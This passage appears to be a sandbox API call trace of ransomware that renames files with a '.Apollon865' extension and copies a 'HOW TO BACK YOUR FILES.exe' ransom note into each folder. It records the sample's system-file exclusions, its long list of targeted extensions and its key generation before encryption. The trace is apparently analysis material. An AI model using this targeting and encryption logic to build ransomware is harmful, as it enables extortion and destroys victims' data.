	[0078.466] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.466] lstrcmpiW (lpString1="Setup.xml", lpString2="Apollon865.txt.exe") returned 1
	[0078.466] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1
	[0078.466] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1
	[0078.466] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1
	[0078.467] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1
	[0078.467] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1
	[0078.467] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1
	[0078.467] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1
	[0078.467] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1
	[0078.467] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1
	[0078.467] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1
	[0078.467] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1
	[0078.467] lstrlenW (lpString="Setup.xml") returned 9
	[0078.467] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78
	[0078.467] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0078.467] lstrlenW (lpString="Setup.xml") returned 9
	[0078.467] lstrlenW (lpString="Apollon865") returned 10
	[0078.467] lstrlenW (lpString=".dll") returned 4
	[0078.467] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0078.467] lstrlenW (lpString=".lnk") returned 4
	[0078.467] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0078.467] lstrlenW (lpString=".ini") returned 4
	[0078.467] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0078.467] lstrlenW (lpString=".sys") returned 4
	[0078.467] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0078.467] lstrlenW (lpString="Setup.xml") returned 9
	[0078.467] lstrlenW (lpString="bak") returned 3
	[0078.467] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0078.467] lstrlenW (lpString="ba_") returned 3
	[0078.467] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0078.467] lstrlenW (lpString="dbb") returned 3
	[0078.467] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0078.467] lstrlenW (lpString="vmdk") returned 4
	[0078.467] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0078.467] lstrlenW (lpString="rar") returned 3
	[0078.467] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0078.467] lstrlenW (lpString="zip") returned 3
	[0078.468] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0078.468] lstrlenW (lpString="tgz") returned 3
	[0078.468] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0078.468] lstrlenW (lpString="vbox") returned 4
	[0078.468] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0078.468] lstrlenW (lpString="vdi") returned 3
	[0078.468] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0078.468] lstrlenW (lpString="vhd") returned 3
	[0078.468] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0078.468] lstrlenW (lpString="vhdx") returned 4
	[0078.468] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0078.468] lstrlenW (lpString="avhd") returned 4
	[0078.468] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0078.468] lstrlenW (lpString="db") returned 2
	[0078.468] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0078.468] lstrlenW (lpString="db2") returned 3
	[0078.468] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0078.468] lstrlenW (lpString="db3") returned 3
	[0078.468] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0078.468] lstrlenW (lpString="dbf") returned 3
	[0078.468] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0078.468] lstrlenW (lpString="mdf") returned 3
	[0078.468] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0078.468] lstrlenW (lpString="mdb") returned 3
	[0078.468] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0078.468] lstrlenW (lpString="sql") returned 3
	[0078.468] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0078.468] lstrlenW (lpString="sqlite") returned 6
	[0078.468] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1
	[0078.468] lstrlenW (lpString="sqlite3") returned 7
	[0078.468] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1
	[0078.468] lstrlenW (lpString="sqlitedb") returned 8
	[0078.468] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1
	[0078.468] lstrlenW (lpString="xml") returned 3
	[0078.468] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0078.469] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0078.469] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.469] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.469] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1852) returned 1
	[0078.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfa30
	[0078.470] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfab8) returned 1
	[0078.470] CryptGenRandom (in: hProv=0x5bfab8, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.471] CryptReleaseContext (hProv=0x5bfab8, dwFlags=0x0) returned 1
	[0078.471] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa40, lpName=0x0) returned 0x10c
	[0078.472] MapViewOfFile (hFileMappingObject=0x10c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa40) returned 0x100000
	[0078.486] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf920) returned 1
	[0078.487] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.487] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0078.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.487] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.487] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.488] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.488] CloseHandle (hObject=0x10c) returned 1
	[0078.488] CloseHandle (hObject=0x15c) returned 1
	[0078.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfa30 | out: hHeap=0x580000) returned 1
	[0078.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.488] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0078.488] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0078.488] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0078.488] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C"
	[0078.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0078.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C") returned 62
	[0078.488] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C"
	[0078.488] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.489] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0078.496] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.496] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x46db9990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46db9990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0078.496] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.496] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.496] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0078.496] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x46db9990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46db9990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.496] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.496] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0078.496] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0078.497] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0078.497] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46db9990, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x46db9990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0078.497] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0078.497] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="Apollon865.txt.exe") returned 1
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2=".") returned 1
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="..") returned 1
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="windows") returned -1
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="bootmgr") returned 1
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="temp") returned -1
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="pagefile.sys") returned -1
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="boot") returned 1
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="ids.txt") returned 1
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="ntuser.dat") returned 1
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="perflogs") returned -1
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2="MSBuild") returned 1
	[0078.497] lstrlenW (lpString="Office32MUI.msi") returned 15
	[0078.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*") returned 64
	[0078.497] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Office32MUI.msi" | out: lpString1="Office32MUI.msi") returned="Office32MUI.msi"
	[0078.497] lstrlenW (lpString="Office32MUI.msi") returned 15
	[0078.497] lstrlenW (lpString="Apollon865") returned 10
	[0078.497] lstrcmpiW (lpString1="e32MUI.msi", lpString2="Apollon865") returned 1
	[0078.497] lstrlenW (lpString=".dll") returned 4
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2=".dll") returned 1
	[0078.497] lstrlenW (lpString=".lnk") returned 4
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2=".lnk") returned 1
	[0078.497] lstrlenW (lpString=".ini") returned 4
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2=".ini") returned 1
	[0078.497] lstrlenW (lpString=".sys") returned 4
	[0078.497] lstrcmpiW (lpString1="Office32MUI.msi", lpString2=".sys") returned 1
	[0078.497] lstrlenW (lpString="Office32MUI.msi") returned 15
	[0078.497] lstrlenW (lpString="bak") returned 3
	[0078.497] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0078.497] lstrlenW (lpString="ba_") returned 3
	[0078.497] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0078.498] lstrlenW (lpString="dbb") returned 3
	[0078.498] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0078.498] lstrlenW (lpString="vmdk") returned 4
	[0078.498] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0078.498] lstrlenW (lpString="rar") returned 3
	[0078.498] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0078.498] lstrlenW (lpString="zip") returned 3
	[0078.498] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0078.498] lstrlenW (lpString="tgz") returned 3
	[0078.498] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0078.498] lstrlenW (lpString="vbox") returned 4
	[0078.498] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0078.498] lstrlenW (lpString="vdi") returned 3
	[0078.498] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0078.498] lstrlenW (lpString="vhd") returned 3
	[0078.498] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0078.498] lstrlenW (lpString="vhdx") returned 4
	[0078.498] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0078.498] lstrlenW (lpString="avhd") returned 4
	[0078.498] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0078.498] lstrlenW (lpString="db") returned 2
	[0078.498] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0078.498] lstrlenW (lpString="db2") returned 3
	[0078.498] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0078.498] lstrlenW (lpString="db3") returned 3
	[0078.498] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0078.498] lstrlenW (lpString="dbf") returned 3
	[0078.498] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0078.498] lstrlenW (lpString="mdf") returned 3
	[0078.498] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0078.498] lstrlenW (lpString="mdb") returned 3
	[0078.498] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0078.498] lstrlenW (lpString="sql") returned 3
	[0078.498] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0078.498] lstrlenW (lpString="sqlite") returned 6
	[0078.498] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1
	[0078.498] lstrlenW (lpString="sqlite3") returned 7
	[0078.499] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1
	[0078.499] lstrlenW (lpString="sqlitedb") returned 8
	[0078.499] lstrcmpiW (lpString1="2MUI.msi", lpString2="sqlitedb") returned -1
	[0078.499] lstrlenW (lpString="xml") returned 3
	[0078.499] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0078.499] lstrlenW (lpString="$er") returned 3
	[0078.499] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0078.499] lstrlenW (lpString="4dd") returned 3
	[0078.499] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0078.499] lstrlenW (lpString="4dl") returned 3
	[0078.499] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0078.499] lstrlenW (lpString="^^^") returned 3
	[0078.499] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0078.499] lstrlenW (lpString="abs") returned 3
	[0078.499] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0078.499] lstrlenW (lpString="abx") returned 3
	[0078.499] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0078.499] lstrlenW (lpString="accdb") returned 5
	[0078.499] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1
	[0078.499] lstrlenW (lpString="accdc") returned 5
	[0078.499] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1
	[0078.499] lstrlenW (lpString="accde") returned 5
	[0078.499] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1
	[0078.499] lstrlenW (lpString="accdr") returned 5
	[0078.499] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1
	[0078.499] lstrlenW (lpString="accdt") returned 5
	[0078.499] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1
	[0078.499] lstrlenW (lpString="accdw") returned 5
	[0078.499] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1
	[0078.499] lstrlenW (lpString="accft") returned 5
	[0078.499] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1
	[0078.499] lstrlenW (lpString="adb") returned 3
	[0078.499] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.499] lstrlenW (lpString="adb") returned 3
	[0078.499] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.499] lstrlenW (lpString="ade") returned 3
	[0078.499] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0078.500] lstrlenW (lpString="adf") returned 3
	[0078.500] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0078.500] lstrlenW (lpString="adn") returned 3
	[0078.500] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0078.500] lstrlenW (lpString="adp") returned 3
	[0078.500] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0078.500] lstrlenW (lpString="alf") returned 3
	[0078.500] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0078.500] lstrlenW (lpString="ask") returned 3
	[0078.500] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0078.500] lstrlenW (lpString="btr") returned 3
	[0078.500] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0078.500] lstrlenW (lpString="cat") returned 3
	[0078.500] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0078.500] lstrlenW (lpString="cdb") returned 3
	[0078.500] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0078.500] lstrlenW (lpString="ckp") returned 3
	[0078.500] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0078.500] lstrlenW (lpString="cma") returned 3
	[0078.500] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0078.500] lstrlenW (lpString="cpd") returned 3
	[0078.500] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0078.500] lstrlenW (lpString="dacpac") returned 6
	[0078.500] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1
	[0078.500] lstrlenW (lpString="dad") returned 3
	[0078.500] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0078.500] lstrlenW (lpString="dadiagrams") returned 10
	[0078.500] lstrcmpiW (lpString1="e32MUI.msi", lpString2="dadiagrams") returned 1
	[0078.500] lstrlenW (lpString="daschema") returned 8
	[0078.500] lstrcmpiW (lpString1="2MUI.msi", lpString2="daschema") returned -1
	[0078.500] lstrlenW (lpString="db-journal") returned 10
	[0078.500] lstrcmpiW (lpString1="e32MUI.msi", lpString2="db-journal") returned 1
	[0078.500] lstrlenW (lpString="db-shm") returned 6
	[0078.500] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1
	[0078.500] lstrlenW (lpString="db-wal") returned 6
	[0078.500] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1
	[0078.500] lstrlenW (lpString="dbc") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0078.501] lstrlenW (lpString="dbs") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0078.501] lstrlenW (lpString="dbt") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0078.501] lstrlenW (lpString="dbv") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0078.501] lstrlenW (lpString="dbx") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0078.501] lstrlenW (lpString="dcb") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0078.501] lstrlenW (lpString="dct") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0078.501] lstrlenW (lpString="dcx") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0078.501] lstrlenW (lpString="ddl") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0078.501] lstrlenW (lpString="dlis") returned 4
	[0078.501] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0078.501] lstrlenW (lpString="dp1") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0078.501] lstrlenW (lpString="dqy") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0078.501] lstrlenW (lpString="dsk") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0078.501] lstrlenW (lpString="dsn") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0078.501] lstrlenW (lpString="dtsx") returned 4
	[0078.501] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0078.501] lstrlenW (lpString="dxl") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0078.501] lstrlenW (lpString="eco") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0078.501] lstrlenW (lpString="ecx") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0078.501] lstrlenW (lpString="edb") returned 3
	[0078.501] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0078.502] lstrlenW (lpString="epim") returned 4
	[0078.502] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0078.502] lstrlenW (lpString="fcd") returned 3
	[0078.502] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0078.502] lstrlenW (lpString="fdb") returned 3
	[0078.502] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0078.502] lstrlenW (lpString="fic") returned 3
	[0078.502] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0078.502] lstrlenW (lpString="flexolibrary") returned 12
	[0078.502] lstrcmpiW (lpString1="ice32MUI.msi", lpString2="flexolibrary") returned 1
	[0078.502] lstrlenW (lpString="fm5") returned 3
	[0078.502] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0078.502] lstrlenW (lpString="fmp") returned 3
	[0078.502] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0078.502] lstrlenW (lpString="fmp12") returned 5
	[0078.502] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1
	[0078.502] lstrlenW (lpString="fmpsl") returned 5
	[0078.502] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1
	[0078.502] lstrlenW (lpString="fol") returned 3
	[0078.502] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0078.502] lstrlenW (lpString="fp3") returned 3
